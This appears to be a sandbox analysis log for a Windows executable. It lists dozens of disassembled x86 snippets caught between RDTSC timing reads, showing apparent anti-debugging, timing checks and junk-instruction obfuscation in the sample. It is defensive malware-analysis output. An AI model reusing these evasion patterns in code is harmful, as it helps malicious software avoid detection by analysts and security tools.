Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7675DE second address: 7675E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 767B2D second address: 767B3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 jl 00007FA3EC7880C6h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 767B3D second address: 767B41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 76823D second address: 768242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 768242 second address: 76824B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 76DDAE second address: 76DDB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FA3EC7880B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 76DDB8 second address: 76DDF7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push esi 0x0000000b jno 00007FA3EC8736D6h 0x00000011 pop esi 0x00000012 pop edi 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 jmp 00007FA3EC8736E8h 0x0000001c mov eax, dword ptr [eax] 0x0000001e pushad 0x0000001f pushad 0x00000020 jno 00007FA3EC8736D6h 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 push edi 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 76DDF7 second address: 76DE05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push ebx 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 773D44 second address: 773D48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 773D48 second address: 773D50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 773D50 second address: 773D54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 773EC6 second address: 773ED6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FA3EC7880B6h 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 773ED6 second address: 773EDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 775E5C second address: 775E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 775E60 second address: 775E64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 775E64 second address: 775E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 775EE9 second address: 775EFE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA3EC8736DAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 775EFE second address: 775F0F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 775F0F second address: 775F46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FA3EC8736EAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 775F46 second address: 775F80 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d push eax 0x0000000e jl 00007FA3EC7880B6h 0x00000014 pop eax 0x00000015 je 00007FA3EC7880B8h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e pop eax 0x0000001f mov di, si 0x00000022 call 00007FA3EC7880B9h 0x00000027 push ecx 0x00000028 push ecx 0x00000029 jnp 00007FA3EC7880B6h 0x0000002f pop ecx 0x00000030 pop ecx 0x00000031 push eax 0x00000032 pushad 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7763CB second address: 7763D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7763D1 second address: 7763D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7763D5 second address: 7763F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FA3EC8736DDh 0x00000011 jns 00007FA3EC8736D6h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7763F5 second address: 7763FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FA3EC7880B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 776B9B second address: 776B9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 776E26 second address: 776E2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 776E2C second address: 776E33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 777184 second address: 777188 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 777188 second address: 7771CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007FA3EC8736D8h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 mov esi, dword ptr [ebp+122D2D03h] 0x00000028 push eax 0x00000029 pushad 0x0000002a jmp 00007FA3EC8736E4h 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 777FD3 second address: 777FE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 777FE2 second address: 777FF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA3EC8736E0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 778847 second address: 77884D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77A61D second address: 77A628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FA3EC8736D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77A628 second address: 77A63C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA3EC7880C0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77A63C second address: 77A64B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77A64B second address: 77A65A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77A65A second address: 77A6CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FA3EC8736D8h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 push 00000000h 0x00000027 pushad 0x00000028 pushad 0x00000029 call 00007FA3EC8736E2h 0x0000002e pop esi 0x0000002f popad 0x00000030 mov eax, edx 0x00000032 popad 0x00000033 push 00000000h 0x00000035 mov dword ptr [ebp+122D3482h], esi 0x0000003b xchg eax, ebx 0x0000003c pushad 0x0000003d pushad 0x0000003e jnl 00007FA3EC8736D6h 0x00000044 jmp 00007FA3EC8736E3h 0x00000049 popad 0x0000004a pushad 0x0000004b pushad 0x0000004c popad 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77A6CA second address: 77A6D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77B01F second address: 77B025 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77BB7E second address: 77BB82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77BB82 second address: 77BB88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77BB88 second address: 77BBF4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA3EC7880B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f jmp 00007FA3EC7880C8h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007FA3EC7880B8h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 jnl 00007FA3EC7880C9h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77BBF4 second address: 77BBF9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77C717 second address: 77C734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FA3EC7880C4h 0x0000000f jmp 00007FA3EC7880BEh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77C40F second address: 77C413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77C413 second address: 77C41C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77C41C second address: 77C422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77F582 second address: 77F586 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77C422 second address: 77C43D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FA3EC8736DFh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77F586 second address: 77F594 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77C43D second address: 77C442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77F594 second address: 77F5E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FA3EC7880B8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 sub bl, 00000028h 0x00000029 push 00000000h 0x0000002b mov bl, al 0x0000002d push 00000000h 0x0000002f cld 0x00000030 push eax 0x00000031 pushad 0x00000032 push ecx 0x00000033 push ecx 0x00000034 pop ecx 0x00000035 pop ecx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 77C442 second address: 77C458 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA3EC8736E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7821DE second address: 782260 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA3EC7880C2h 0x00000008 jmp 00007FA3EC7880C2h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007FA3EC7880B8h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b sub dword ptr [ebp+122D1D53h], eax 0x00000031 push 00000000h 0x00000033 mov dword ptr [ebp+122D34E0h], ecx 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push edx 0x0000003e call 00007FA3EC7880B8h 0x00000043 pop edx 0x00000044 mov dword ptr [esp+04h], edx 0x00000048 add dword ptr [esp+04h], 0000001Bh 0x00000050 inc edx 0x00000051 push edx 0x00000052 ret 0x00000053 pop edx 0x00000054 ret 0x00000055 push eax 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7814F7 second address: 781519 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA3EC8736E0h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 781519 second address: 781523 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FA3EC7880B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 781523 second address: 781527 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7833D0 second address: 7833D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7833D6 second address: 78344E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop edi 0x00000009 popad 0x0000000a nop 0x0000000b call 00007FA3EC8736DCh 0x00000010 mov dword ptr [ebp+122D3940h], ecx 0x00000016 pop edi 0x00000017 push dword ptr fs:[00000000h] 0x0000001e mov dword ptr [ebp+122D2302h], eax 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007FA3EC8736D8h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 0000001Ch 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 mov eax, dword ptr [ebp+122D0D75h] 0x0000004b mov dword ptr [ebp+122D1DC4h], edx 0x00000051 push FFFFFFFFh 0x00000053 mov ebx, 1BE5CFD9h 0x00000058 nop 0x00000059 pushad 0x0000005a pushad 0x0000005b jmp 00007FA3EC8736DAh 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78344E second address: 783471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FA3EC7880BFh 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 js 00007FA3EC7880C0h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78519D second address: 785216 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA3EC8736E7h 0x00000008 jmp 00007FA3EC8736E1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007FA3EC8736D8h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c mov bx, C4DEh 0x00000030 mov dword ptr [ebp+122D1D58h], esi 0x00000036 push 00000000h 0x00000038 mov dword ptr [ebp+122D32F1h], edx 0x0000003e jmp 00007FA3EC8736E5h 0x00000043 push 00000000h 0x00000045 mov edi, 489B93F3h 0x0000004a mov edi, dword ptr [ebp+122D57BDh] 0x00000050 xchg eax, esi 0x00000051 pushad 0x00000052 pushad 0x00000053 push ecx 0x00000054 pop ecx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 784480 second address: 784484 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 785216 second address: 78522A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007FA3EC8736D8h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 784484 second address: 784490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78522A second address: 78522E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 786195 second address: 7861AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 js 00007FA3EC7880BCh 0x0000000b jnl 00007FA3EC7880B6h 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7861AD second address: 7861C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 787271 second address: 7872C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a movsx edi, cx 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007FA3EC7880B8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D335Ah], ebx 0x0000002f push 00000000h 0x00000031 xor ebx, 196D19B5h 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a push ecx 0x0000003b pop ecx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 788295 second address: 78831A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D3482h], edi 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007FA3EC8736D8h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov ebx, dword ptr [ebp+122D2EEBh] 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007FA3EC8736D8h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 00000017h 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e mov di, bx 0x00000051 push eax 0x00000052 jng 00007FA3EC8736F7h 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007FA3EC8736E5h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78935C second address: 789369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FA3EC7880BCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78A45D second address: 78A461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 78B44F second address: 78B455 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
